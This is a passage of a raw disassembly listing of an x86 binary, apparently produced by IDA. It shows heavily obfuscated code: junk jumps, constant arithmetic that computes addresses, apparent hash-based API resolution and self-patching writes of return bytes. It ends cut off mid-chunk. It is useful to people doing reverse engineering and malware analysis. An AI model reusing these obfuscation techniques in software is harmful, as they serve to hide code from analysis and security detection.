; START	OF FUNCTION CHUNK FOR sub_43C65F

loc_449EC5:				; CODE XREF: sub_43C65F+3702j
		jmp	loc_4488BA
; END OF FUNCTION CHUNK	FOR sub_43C65F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437D47

loc_449ECA:				; CODE XREF: sub_437D47+10j
		jmp	loc_445ECB
; END OF FUNCTION CHUNK	FOR sub_437D47

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_449ECF	proc near		; CODE XREF: sub_43704E:loc_43DD87j
					; y22d6.y.:0043F455p ...

; FUNCTION CHUNK AT 0043A31B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043A6B3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043BA10 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044499A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004486A2 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044B4CB SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_4486A2
sub_449ECF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4400D5

loc_449ED7:				; CODE XREF: sub_4400D5+15j
		jnz	loc_43F883

loc_449EDD:				; CODE XREF: y22d6.y.:0044A2D1j
		jmp	loc_43CF60
; END OF FUNCTION CHUNK	FOR sub_4400D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4481EF

loc_449EE2:				; CODE XREF: sub_4481EF-D7F6j
		jmp	nullsub_165
; END OF FUNCTION CHUNK	FOR sub_4481EF
; ---------------------------------------------------------------------------
		or	ebx, eax
		jmp	loc_43F874
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447268

loc_449EEE:				; CODE XREF: sub_447268:loc_448181j
		js	loc_4423F3
		not	edx
		jo	loc_442368
		jmp	loc_4423F3
; END OF FUNCTION CHUNK	FOR sub_447268
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D025

loc_449F01:				; CODE XREF: sub_43D025-4E0Aj
		mov	ebx, edx

loc_449F03:				; CODE XREF: sub_44529A-4CFEj
		add	ecx, 0F70AAA0Ah
		add	ecx, ebp
		add	ecx, 129FD844h
		push	offset loc_4436C4
		jmp	nullsub_142
; END OF FUNCTION CHUNK	FOR sub_43D025

; =============== S U B	R O U T	I N E =======================================



sub_449F1B	proc near		; DATA XREF: y22d6.y.:loc_4380A2o

; FUNCTION CHUNK AT 004413B4 SIZE 00000005 BYTES

		push	16437EBAh
		pop	edi
		xor	edi, 21EBEBD3h
		push	offset sub_43A5AA
		jmp	loc_4413B4
sub_449F1B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD94

loc_449F31:				; CODE XREF: sub_43AD94:loc_4420F4j
		mov	ebp, esp
		jz	sub_43CC1A
		add	esp, 0FFFFFED0h
		push	esi
		push	9159504Ah
		jmp	loc_44A63B
; END OF FUNCTION CHUNK	FOR sub_43AD94
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_272. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_449F4B:				; CODE XREF: sub_43B09B+12F46j
		jz	loc_440F58
		jmp	loc_43A6F3
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_449F56:				; CODE XREF: sub_4432B8+1E1Aj
		shr	esi, 1Dh

loc_449F59:				; CODE XREF: sub_4432B8:loc_43B448j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43E2F7
		jmp	loc_44626C
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
		mov	eax, 0DA4431C0h
		call	sub_43CA1A
		push	ebx
		push	0AF1EA5A5h
		pop	ebx
		sub	ebx, 338471ECh
		add	ebx, 84A7ACE7h
		jmp	loc_43F1BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55B

loc_449F8C:				; CODE XREF: sub_43C55B:loc_4484BCj
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_43C55B

; =============== S U B	R O U T	I N E =======================================



sub_449F8E	proc near		; CODE XREF: sub_43B01D:loc_43B030j
					; sub_43BCA9:loc_445C69j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044477A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BEF8 SIZE 0000000F BYTES

		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp+4+var_4]
		jmp	loc_44477A
sub_449F8E	endp

; ---------------------------------------------------------------------------

loc_449F99:				; CODE XREF: y22d6.y.:loc_43B673j
		pop	ecx
		rol	ecx, 12h
		and	ecx, 99CA262Ch
		test	ecx, 4
		jmp	loc_4395C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_449FAE:				; CODE XREF: sub_4432B8+3D63j
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_44C8E9

loc_449FB7:				; CODE XREF: sub_44A620-6A5Aj
		jmp	sub_441000
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4397E6

loc_449FBC:				; CODE XREF: sub_4397E6:loc_437348j
		push	ecx
		mov	[ebp+var_4], eax
		push	offset loc_44433F
		jmp	loc_44B68E
; END OF FUNCTION CHUNK	FOR sub_4397E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_449FCA:				; CODE XREF: sub_44271A:loc_43BD19j
		rol	eax, 4
		push	esi
		sbb	esi, 0C3564D78h
		jmp	loc_440661
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC92

loc_449FD9:				; CODE XREF: sub_43EC92:loc_4376F2j
					; sub_43EC92+134Bj
		lea	edx, [ebp+var_14]
		mov	eax, offset dword_4413C4
		push	eax
		push	offset loc_44989A
		jmp	nullsub_145
; END OF FUNCTION CHUNK	FOR sub_43EC92
; ---------------------------------------------------------------------------

loc_449FEC:				; CODE XREF: y22d6.y.:0043D05Ej
		jl	loc_441F8E

loc_449FF2:				; CODE XREF: y22d6.y.:00440876j
		jmp	sub_44D088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438CA4

loc_449FF7:				; CODE XREF: sub_438CA4+7j
		jmp	sub_44B06F
; END OF FUNCTION CHUNK	FOR sub_438CA4
; ---------------------------------------------------------------------------
		or	edx, 5F55BA87h
		sub	eax, ebx
		jmp	loc_441F8E
; ---------------------------------------------------------------------------

loc_44A009:				; CODE XREF: y22d6.y.:0044A3FCj
					; y22d6.y.:0044C5BAj
		cdq
		jmp	loc_43A816
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E81B

loc_44A00F:				; CODE XREF: sub_43E81B-3785j
		pop	esi
		or	esi, 653D53DDh
		add	esi, 8242A401h
		xchg	esi, [esp+4+var_4]
		jmp	loc_4415D7
; END OF FUNCTION CHUNK	FOR sub_43E81B
; ---------------------------------------------------------------------------
		sbb	ebx, eax
		jmp	sub_43E3BD
; ---------------------------------------------------------------------------
		adc	esi, 0FB25F587h
		pushf
		jmp	sub_445141
; ---------------------------------------------------------------------------

loc_44A037:				; DATA XREF: sub_44D3B1:loc_44092Ao
		add	edi, 0C385A2B7h
		xchg	edi, [esp]
		jmp	sub_43E913
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_44A045:				; CODE XREF: sub_44B1D2-1115Aj
		jnz	sub_4398FF
		add	ebx, 366DCCDBh

loc_44A051:				; CODE XREF: sub_44B1D2:loc_43B730j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jmp	loc_444354
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E037

loc_44A05C:				; CODE XREF: sub_43E037:loc_43904Cj
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_437708
		jmp	loc_44331E
; END OF FUNCTION CHUNK	FOR sub_43E037
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_44A06B:				; CODE XREF: sub_44E5C7-13C3Fj
		and	ebx, edi
		cmp	esi, 4F9D9CAAh
		jmp	loc_43E6A6
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_44A078:				; CODE XREF: sub_43B09B:loc_440BB5j
		push	7879245Ch
		pop	eax
		sub	eax, 0F75E1496h
		and	eax, 5C4BB239h
		test	eax, 40h
		jmp	loc_444002
; END OF FUNCTION CHUNK	FOR sub_43B09B

; =============== S U B	R O U T	I N E =======================================



sub_44A095	proc near		; CODE XREF: sub_43C6D7+B0Fp
					; sub_44B3F8+17j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043AA7E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043DD34 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E060 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00442F1C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443B0A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00447605 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00449EBE SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0044A7E3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B7F1 SIZE 0000000B BYTES

		xchg	esi, [esp+0]
		pop	esi
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44A7E3
		jmp	loc_44B7F1
sub_44A095	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44A0A7	proc near		; DATA XREF: sub_448488:loc_441882o

; FUNCTION CHUNK AT 00440C8C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B075 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044E23D SIZE 00000005 BYTES

		push	4373418h
		pop	edi
		sub	edi, 0E5BA7944h
		and	edi, 998DA5h
		sub	edi, 24134361h
		add	edi, 243EF27Fh
		jmp	loc_44E23D
sub_44A0A7	endp

; ---------------------------------------------------------------------------

loc_44A0CA:				; CODE XREF: y22d6.y.:00444157j
		push	ebp
		rol	edx, 0Dh

loc_44A0CE:				; CODE XREF: y22d6.y.:loc_445FBCj
		push	0CD047983h
		pop	eax
		xor	eax, 0F1DF8847h
		jmp	loc_44CC7B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_44A0DF:				; CODE XREF: sub_44571D-4DE7j
					; sub_449641:loc_448917j
		jb	loc_43A21B
		jge	loc_43C2EF

loc_44A0EB:				; CODE XREF: sub_43B7D4+75F5j
		cmp	ebp, ecx
		jmp	loc_4490FB
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4384B4

loc_44A0F2:				; CODE XREF: sub_4384B4:loc_43E94Ej
		add	ebx, 8DA83D14h
		mov	[ebx], eax
		pop	ebx
		lea	eax, sub_4384B4
		mov	byte ptr [eax],	0C3h
		jmp	loc_44C393
; ---------------------------------------------------------------------------

loc_44A109:				; CODE XREF: sub_4384B4j
		pop	edx
		call	sub_449A8B

loc_44A10F:				; CODE XREF: y22d6.y.:0043CF99j
		jmp	loc_43AAB9
; END OF FUNCTION CHUNK	FOR sub_4384B4
; ---------------------------------------------------------------------------
		push	ecx
		push	761F6200h
		pop	ecx
		xor	ecx, 931041B8h
		jnz	loc_447954
; START	OF FUNCTION CHUNK FOR sub_43A8B0

loc_44A127:				; CODE XREF: sub_43A8B0+13j
		jmp	loc_443878
; END OF FUNCTION CHUNK	FOR sub_43A8B0
; ---------------------------------------------------------------------------

loc_44A12C:				; CODE XREF: y22d6.y.:00447BEAj
		push	eax
		popf
		jmp	loc_43EF6C
; ---------------------------------------------------------------------------
		sub	edi, ecx
		xchg	esi, [edi]
		jmp	loc_449653
; ---------------------------------------------------------------------------

loc_44A13C:				; DATA XREF: sub_44243B:loc_4451A3o
		push	0E3A338E5h
		pop	edx
		xor	edx, 0BDD0F52Ch
		or	edx, 4E45C1DFh
		xor	edx, 0BD38117h
		jmp	loc_446EEB
; ---------------------------------------------------------------------------

loc_44A159:				; CODE XREF: y22d6.y.:0043BE77j
		cmp	ebx, edx
		jmp	loc_43C13D
; ---------------------------------------------------------------------------

loc_44A160:				; CODE XREF: y22d6.y.:00443943j
		rol	edi, 1Eh
		sub	edi, 8EFA0F68h
		and	edi, 0AADAD08Fh
		add	edi, 7D00E3DAh
		add	edi, ebp
		add	edi, 2FC4B9Ah
		push	offset sub_43E037
		jmp	locret_443158
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_45. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44A188:				; CODE XREF: y22d6.y.:004390AEj
		jo	loc_4423DC
		rol	esi, 0Bh
		jmp	sub_440DCC
; ---------------------------------------------------------------------------

loc_44A196:				; CODE XREF: y22d6.y.:0043D2D4j
		jl	loc_4410A6

loc_44A19C:				; CODE XREF: y22d6.y.:00438EA0j
		jmp	loc_4463A9
; ---------------------------------------------------------------------------
		js	loc_4456D0
		jmp	loc_4410A5
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E1A8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		xor	al, 24h
		mov	edx, esi
		xchg	eax, [esp]
		mov	esi, eax
		jmp	loc_440740
; ---------------------------------------------------------------------------

loc_44A1C1:				; DATA XREF: y22d6.y.:0044BE3Eo
		or	eax, eax
		jnz	loc_448638
		jmp	loc_44052E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C758

loc_44A1CE:				; CODE XREF: sub_44C758-6B71j
		add	esi, 7264C164h
		xor	esi, 36591E02h
		add	esi, ebp
		add	esi, 424BA5AAh
		mov	[esi], eax
		jmp	loc_446124
; END OF FUNCTION CHUNK	FOR sub_44C758
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C921

loc_44A1E9:				; CODE XREF: y22d6.y.:00446F61j
					; sub_44C921:loc_4488E6j
		rol	esi, 4
		and	esi, 0A8585DE3h
		rol	esi, 13h
		add	esi, 7334E072h
		mov	[esi], eax
		pop	esi
		jmp	loc_44056E
; END OF FUNCTION CHUNK	FOR sub_44C921
; ---------------------------------------------------------------------------

loc_44A203:				; CODE XREF: y22d6.y.:00446EFBj
		jz	loc_43E64E
		jmp	loc_44770F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44807C

loc_44A20E:				; CODE XREF: sub_44807C+Dj
		sub	ebx, 0FBB38960h
		add	ebx, 7F52D2D6h
		rol	ebx, 1
		add	ebx, 0DA22620Bh
		add	ecx, ebx
		pop	ebx
		jmp	loc_443EE2
; END OF FUNCTION CHUNK	FOR sub_44807C

; =============== S U B	R O U T	I N E =======================================



sub_44A22A	proc near		; CODE XREF: y22d6.y.:0044788Bj
					; sub_44D3B1+Bp

; FUNCTION CHUNK AT 004408DE SIZE 00000007 BYTES

		xchg	edi, [esp+0]
		pop	edi
		call	sub_43E913
		push	0F4BF7126h
		pop	eax

loc_44A239:				; CODE XREF: sub_448EB6:loc_449195j
		add	eax, 30E20F30h
		xor	eax, 1D53C5C4h
		push	edx
		jmp	loc_4408DE
sub_44A22A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44A24B:				; CODE XREF: y22d6.y.:loc_43C77Aj
		push	ecx
		push	edx
		pop	ecx
		xchg	ecx, [esp]
		jmp	loc_43FF60
; ---------------------------------------------------------------------------
		mov	eax, 0EFFDE014h
		call	sub_43F443
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_44A260:				; CODE XREF: sub_44BCC2-5D83j
		jmp	loc_448CB2
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44A265:				; CODE XREF: sub_448EB6-AAD3j
		jmp	loc_43D006
; END OF FUNCTION CHUNK	FOR sub_448EB6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_103. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	eax, 147A4491h
		call	sub_43CA1A
		mov	ds:off_41E064, eax
		lea	eax, sub_44AA5D
		mov	byte ptr [eax],	0C3h
		jmp	sub_44AA5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AA5D

loc_44A289:				; CODE XREF: sub_44AA5D+1j
		mov	eax, [esp+4+var_4]
		push	edx
		call	sub_4463CE
		jmp	loc_44007C
; END OF FUNCTION CHUNK	FOR sub_44AA5D
; ---------------------------------------------------------------------------
		mov	[ecx], ebx
		jmp	sub_4482CF
; ---------------------------------------------------------------------------
		or	edx, 0E6E80C01h
		jmp	loc_44CB39
; ---------------------------------------------------------------------------
		xchg	esi, [esp]
		push	ecx
		call	sub_449CED
; START	OF FUNCTION CHUNK FOR sub_444581

loc_44A2B2:				; CODE XREF: sub_444581+7F32j
		jmp	nullsub_208
; END OF FUNCTION CHUNK	FOR sub_444581
; ---------------------------------------------------------------------------
		mov	eax, 38F24592h
		call	sub_43F7FF
		push	ecx
		push	410E18BCh
		pop	ecx
		rol	ecx, 1Ch
		cmp	ecx, 43136C10h
		jmp	loc_449EDD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_374. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44051D

loc_44A2D7:				; CODE XREF: sub_44051D+C7F5j
		jmp	loc_441A0E
; END OF FUNCTION CHUNK	FOR sub_44051D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F112

loc_44A2DC:				; CODE XREF: sub_43F112+6j
		jmp	nullsub_148
; END OF FUNCTION CHUNK	FOR sub_43F112
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445DB1

loc_44A2E1:				; CODE XREF: sub_445DB1-A20Aj
		jmp	nullsub_149
; END OF FUNCTION CHUNK	FOR sub_445DB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C77

loc_44A2E6:				; CODE XREF: sub_448C77:loc_4459D8j
		rol	edx, 5
		xor	edx, 0F83A0BE2h
		rol	edx, 0Bh
		add	edx, 5511EEE2h
		jmp	loc_442C82
; END OF FUNCTION CHUNK	FOR sub_448C77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4392B0

loc_44A2FD:				; CODE XREF: sub_4392B0:loc_43C420j
		mov	edx, 0E5254649h
		call	sub_449739
		mov	ds:dword_441954, eax

loc_44A30C:				; CODE XREF: sub_4392B0+5487j
					; y22d6.y.:0044AFF3j ...
		mov	esp, ebp
		pop	ebp
		push	ds:dword_441954
		retn
; END OF FUNCTION CHUNK	FOR sub_4392B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_44A316:				; CODE XREF: sub_440280+8775j
		jmp	loc_44819E
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FC02

loc_44A31B:				; CODE XREF: sub_43FC02+7j
		jmp	sub_444581
; END OF FUNCTION CHUNK	FOR sub_43FC02

; =============== S U B	R O U T	I N E =======================================



sub_44A320	proc near		; CODE XREF: sub_4392B0+5473p
					; sub_4392B0+5499p
		mov	eax, cs
		jmp	loc_438CBB
sub_44A320	endp

; ---------------------------------------------------------------------------
		xchg	ecx, [eax]
		jmp	loc_449AA7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_248. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B252

loc_44A32F:				; CODE XREF: sub_43B252+7549j
		jmp	loc_43DC7A
; END OF FUNCTION CHUNK	FOR sub_43B252
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443778

loc_44A334:				; CODE XREF: sub_443778-2FA7j
		jmp	nullsub_257
; END OF FUNCTION CHUNK	FOR sub_443778
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43991F

loc_44A339:				; CODE XREF: sub_43991F+Cj
		jmp	loc_44856C
; END OF FUNCTION CHUNK	FOR sub_43991F
; ---------------------------------------------------------------------------
		xchg	ecx, [edi]
		jmp	loc_43D167
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44415C

loc_44A345:				; CODE XREF: sub_44415C+16j
		mov	ds:dword_41E0D8, eax
		lea	eax, nullsub_313
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_313
; END OF FUNCTION CHUNK	FOR sub_44415C

; =============== S U B	R O U T	I N E =======================================



sub_44A359	proc near		; CODE XREF: sub_401000+326p
					; sub_40CA0C+E0p ...

; FUNCTION CHUNK AT 00437DD5 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004382E8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439EF9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043E2F0 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0043F152 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043FC35 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00440913 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004410F9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004426B5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443CDE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004455A7 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00445B6B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044600D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004478F4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AA8D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CC70 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044CDFB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044D1B8 SIZE 00000005 BYTES

		jo	loc_44CDFB
		jmp	loc_44AA8D
sub_44A359	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4422AA

loc_44A364:				; CODE XREF: sub_4422AA:loc_43FC14j
		push	edx
		call	sub_44CFDF

loc_44A36A:				; CODE XREF: sub_443C95+10j
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_9
; END OF FUNCTION CHUNK	FOR sub_4422AA
; ---------------------------------------------------------------------------

loc_44A372:				; CODE XREF: y22d6.y.:004451EEj
		mov	eax, [esp]
		push	edx
		call	sub_443C3C
		push	8DF2F9B3h
		pop	eax
		jmp	loc_447DA2
; ---------------------------------------------------------------------------

locret_44A386:				; CODE XREF: y22d6.y.:00443608j
		retn
; ---------------------------------------------------------------------------

loc_44A387:				; CODE XREF: y22d6.y.:0044515Cj
		jmp	loc_439FE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442060

loc_44A38C:				; CODE XREF: sub_442060-3024j
		xor	esi, 0DD62A262h
		add	esi, ebp
		push	offset loc_447923
		jmp	nullsub_151
; END OF FUNCTION CHUNK	FOR sub_442060

; =============== S U B	R O U T	I N E =======================================



sub_44A39E	proc near		; DATA XREF: y22d6.y.:00444F10o
		mov	dword ptr [ebp-0F8h], 206461h
		mov	dword ptr [ebp-108h], 0Bh
sub_44A39E	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_44A3B2:				; CODE XREF: sub_44BCC2-BE5Cj
		jnz	loc_448CC5
		mov	eax, [ebp-104h]
		cmp	byte ptr [eax],	0
		jmp	loc_445851
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44A3C6:				; CODE XREF: sub_448EB6:loc_43BB34j
					; sub_448EB6-B2EEj
		push	0A7035C03h
		pop	eax
		and	eax, 98DEF72h
		xor	eax, 2648487Bh
		and	eax, 0BB97D5B4h
		add	eax, 428C635Fh
		jmp	loc_43FCEA
; END OF FUNCTION CHUNK	FOR sub_448EB6

; =============== S U B	R O U T	I N E =======================================



sub_44A3E9	proc near		; CODE XREF: sub_441A2B+32F2p
					; y22d6.y.:0044BCE3j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043D49A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00449A33 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	[esi], eax
		xchg	edi, [esp-4+arg_0]
		mov	esi, edi
		pop	edi
		jmp	loc_449A33
sub_44A3E9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44A3FA:				; CODE XREF: y22d6.y.:00447D04j
		mov	[ecx], ebp
		js	loc_44A009

loc_44A402:				; CODE XREF: y22d6.y.:0043B286j
		add	ebx, 0E0CC67h
		test	ebx, 80000h
		jmp	loc_445BFA

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44A413	proc near		; CODE XREF: sub_43E7BF-7646p
					; sub_43A1FA+4p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004413CF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C70D SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044CDC8 SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edx
		push	6321CCECh
		pop	edx
		or	edx, 6BE9A927h
		rol	edx, 1Fh
		jmp	loc_4413CF
sub_44A413	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_42. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B43

loc_44A42D:				; CODE XREF: sub_437B43+B770j
		jmp	loc_442E44
; END OF FUNCTION CHUNK	FOR sub_437B43
; ---------------------------------------------------------------------------

loc_44A432:				; CODE XREF: y22d6.y.:loc_43AA99j
					; y22d6.y.:00446E32j
		push	offset sub_440395
		jmp	locret_444928
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44A43C:				; CODE XREF: sub_4432B8:loc_44331Ej
		jnz	loc_440168
		jmp	loc_4425B0
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_44A447:				; CODE XREF: sub_44B489-F7A9j
		jns	loc_438F98

loc_44A44D:				; CODE XREF: sub_44B489:loc_44AC88j
		call	sub_43760A
		mov	edx, 0F75CA70h
		push	ecx
		push	0BBCA7772h
		pop	ecx
		rol	ecx, 0Fh
		jmp	loc_4403E5
; END OF FUNCTION CHUNK	FOR sub_44B489
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65F

loc_44A466:				; CODE XREF: sub_43C65F+4243j
		mov	ebp, ecx
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_43C65F
; ---------------------------------------------------------------------------

loc_44A46A:				; CODE XREF: y22d6.y.:00447AB3j
		jmp	loc_446093

; =============== S U B	R O U T	I N E =======================================



sub_44A46F	proc near		; CODE XREF: sub_439E63+1FDp
					; sub_44B3C9-100EEp ...

; FUNCTION CHUNK AT 0043958B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D303 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044C7CF SIZE 00000005 BYTES

		push	ebp
		jmp	loc_44C7CF
sub_44A46F	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_155. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44A476:				; CODE XREF: y22d6.y.:0044736Fj
		ja	loc_440168
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_44A47C:				; CODE XREF: sub_44B489:loc_440404j
		add	eax, 5D73F3E8h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_43751E
		jmp	loc_44AC88
; END OF FUNCTION CHUNK	FOR sub_44B489

; =============== S U B	R O U T	I N E =======================================



sub_44A491	proc near		; DATA XREF: sub_43B252+137Ao
		rol	eax, 16h

loc_44A494:				; CODE XREF: y22d6.y.:0043C512j
		call	sub_43D5BB
sub_44A491	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44BBBA

loc_44A499:				; CODE XREF: sub_44BBBA+10j
		jmp	loc_44AB17
; END OF FUNCTION CHUNK	FOR sub_44BBBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A9C6

loc_44A49E:				; CODE XREF: sub_43A9C6+74F9j
		jmp	loc_43E9A1
; END OF FUNCTION CHUNK	FOR sub_43A9C6
; ---------------------------------------------------------------------------

loc_44A4A3:				; CODE XREF: y22d6.y.:0044ACC8j
		test	esi, eax
		jmp	loc_43C460
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6E1

loc_44A4AA:				; CODE XREF: sub_43A6E1:loc_43C255j
		mov	[esi], edi
		jno	sub_43E31B
		jmp	loc_4497CE
; END OF FUNCTION CHUNK	FOR sub_43A6E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4449FA

loc_44A4B7:				; CODE XREF: sub_4449FA+970Ej
